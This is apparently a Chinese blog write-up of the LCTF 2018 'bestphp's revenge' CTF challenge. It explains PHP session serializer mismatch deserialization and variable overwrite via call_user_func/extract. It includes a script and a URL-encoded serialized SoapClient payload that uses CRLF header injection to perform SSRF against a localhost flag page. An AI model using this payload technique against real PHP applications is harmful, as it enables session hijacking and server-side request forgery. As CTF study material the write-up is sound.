[LCTF 2018]bestphp's revenge php原生类的利用以及php_session反序列化相关
今天继续来一道反序列化的题目。
点击查看代码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
点击查看代码
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
那么接下来的问题就是如何让b=call_user_func,在$b = 'implode';call_user_func($_GET['f'], $_POST);可以看到参数f可以控制,我们试图让其为extract来进行变量覆盖来达到我们的目的,那么f=extract&name=SoapClient,且post中提交b=call_user_func来达到目的,但是这还不够,要进行利用SoapClient来进行ssrf,我们还可以发现让f=session_start来达到控制session的目的,这里还涉及到了session反序列化,大概提一下。
session反序列化
| session.save_handler | session保存形式。默认为files
| session.save_path | session保存路径。
| session.serialize_handler | session序列化存储所用处理器。默认为php。
| session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启
| session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。
当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";
而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞,php引擎会以|作为作为key和value的分隔符。
所以当我们传入的字符是$_SESSION["name"] = "|username",那么那么使用php_serialize引擎时可以得到序列化内容是
a:1:{s:4:"name";s:4:"|username”;},然后用php引擎反序列化时,|被当做分隔符,于是key值是a:1:{s:4:"name";s:4:" ,而username则被当做是value去做反序列化。
点击查看代码
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo "|".urlencode($se);
//注意下,这个脚本想要执行,需要将php.ini里的 php_soap.dll 前面的分号去掉
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
注意是要先将序列化值传进去,在通过call_user_func来调用SoapClient原生类来达到ssrf。
总结:
-
session 反序列化
-
SoapClient原生类的利用(ssrf)
-
变量覆盖与call_user_func
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通